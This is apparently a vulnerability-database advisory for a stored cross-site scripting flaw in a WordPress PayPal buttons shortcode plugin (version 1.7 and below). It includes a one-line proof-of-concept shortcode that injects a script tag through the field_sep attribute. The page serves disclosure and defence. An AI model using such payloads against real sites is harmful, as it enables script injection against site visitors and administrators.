WordPress Plugin Vulnerabilities

PayPal Pay Now, Buy Now, Donation and Cart Buttons Shortcode <= 1.7 - Contributor+ Stored XSS

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

Proof of Concept

```
[paypal_button type="addtocart" name='name' amount="199: quantity="1-5" add_note="test note" quantity_txt_postfix="test postfix" field_sep="<script>alert(1)</script>"]
```

Affects Plugins

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Bob Matyas
Submitter
Bob Matyas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-05-31 (about 30 days ago)
Added
2024-05-31 (about 29 days ago)
Last Updated
2024-05-31 (about 29 days ago)

Other